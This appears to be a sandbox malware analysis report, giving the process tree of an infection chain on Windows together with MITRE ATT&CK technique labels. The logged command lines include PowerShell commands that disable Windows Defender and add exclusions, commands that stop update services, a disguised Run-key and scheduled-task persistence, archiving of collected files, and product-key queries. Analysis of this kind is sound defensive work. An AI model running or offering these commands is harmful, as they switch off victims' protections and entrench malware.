PID 4924 wrote to memory of 7048	4924	cmd.exe	125
PID 4924 wrote to memory of 7048	4924	cmd.exe	125
PID 2540 wrote to memory of 7008	2540	based.exe	126
PID 2540 wrote to memory of 7008	2540	based.exe	126
PID 7008 wrote to memory of 7080	7008	cmd.exe	128
PID 7008 wrote to memory of 7080	7008	cmd.exe	128
PID 2540 wrote to memory of 7108	2540	based.exe	129
PID 2540 wrote to memory of 7108	2540	based.exe	129
PID 7108 wrote to memory of 6508	7108	cmd.exe	131
PID 7108 wrote to memory of 6508	7108	cmd.exe	131
PID 2540 wrote to memory of 5508	2540	based.exe	132
PID 2540 wrote to memory of 5508	2540	based.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:604
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3128
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:6212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1376
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1576

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2020

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2516

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2600

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3348

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3456
- C:\Users\Admin\AppData\Local\Temp\fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe
  "C:\Users\Admin\AppData\Local\Temp\fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Users\Admin\AppData\Local\Temp\fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe
    "C:\Users\Admin\AppData\Local\Temp\fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI28682\Build.exe -pbeznogym
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1908
    - - C:\Users\Admin\AppData\Local\Temp\_MEI28682\Build.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI28682\Build.exe -pbeznogym
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3888
      - C:\ProgramData\Microsoft\hacn.exe
        
        "C:\ProgramData\Microsoft\hacn.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1308
        
        C:\ProgramData\Microsoft\hacn.exe
        
        "C:\ProgramData\Microsoft\hacn.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI13082\s.exe -pbeznogym
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4452
        
        C:\Users\Admin\AppData\Local\Temp\_MEI13082\s.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI13082\s.exe -pbeznogym
        9⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4684
        
        C:\ProgramData\main.exe
        
        "C:\ProgramData\main.exe"
        10⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4748
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpAAE6.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpAAE6.tmp.bat
        11⤵
        
        PID:5644
        
        C:\Windows\system32\tasklist.exe
        
        Tasklist /fi "PID eq 4748"
        12⤵
        Enumerates processes with tasklist
        
        PID:5700
        
        C:\Windows\system32\find.exe
        
        find ":"
        12⤵
        
        PID:5708
        
        C:\Windows\system32\timeout.exe
        
        Timeout /T 1 /Nobreak
        12⤵
        Delays execution with timeout.exe
        
        PID:5744
        
        C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
        
        "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
        12⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        13⤵
        
        PID:6580
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        14⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:6652
        
        C:\ProgramData\svchost.exe
        
        "C:\ProgramData\svchost.exe"
        10⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3032
        
        C:\ProgramData\svchost.exe
        
        "C:\ProgramData\svchost.exe"
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of WriteProcessMemory
        
        PID:2772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        12⤵
        
        PID:3260
        
        C:\ProgramData\setup.exe
        
        "C:\ProgramData\setup.exe"
        10⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        
        PID:4140
      - C:\ProgramData\Microsoft\based.exe
        
        "C:\ProgramData\Microsoft\based.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1040
        
        C:\ProgramData\Microsoft\based.exe
        
        "C:\ProgramData\Microsoft\based.exe"
        7⤵
        Blocklisted process makes network request
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1648
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4076
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3280
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        9⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2848
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI10402\rar.exe a -r -hp"prometheus" "C:\Users\Admin\AppData\Local\Temp\FbOp4.zip" *"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\_MEI10402\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI10402\rar.exe a -r -hp"prometheus" "C:\Users\Admin\AppData\Local\Temp\FbOp4.zip" *
        9⤵
        Executes dropped EXE
        
        PID:3444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4924
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:7048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:7008
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:7080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:7108
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        9⤵
        
        PID:6508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        8⤵
        
        PID:5508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        8⤵
        
        PID:5356
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        9⤵
        Detects videocard installed
        
        PID:5296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        8⤵
        
        PID:5264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1504
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2884
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6916
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:6932
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:6960
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:6972
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1088
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:6988
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:6984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6976
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"
  2⤵
  - Creates scheduled task(s)
  PID:7036
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:5468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5256
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5220
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2540
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6420
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1796
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2372
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5584
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:5556
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:5592
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"
  2⤵
  - Creates scheduled task(s)
  PID:3408
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2936
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:6568
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:6596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3584

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3768

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3476

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4888

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4572

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1672

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2584

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1844

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3516

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:1436

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:6012

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:6072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Process Discovery

T1057

Query Registry

System Information Discovery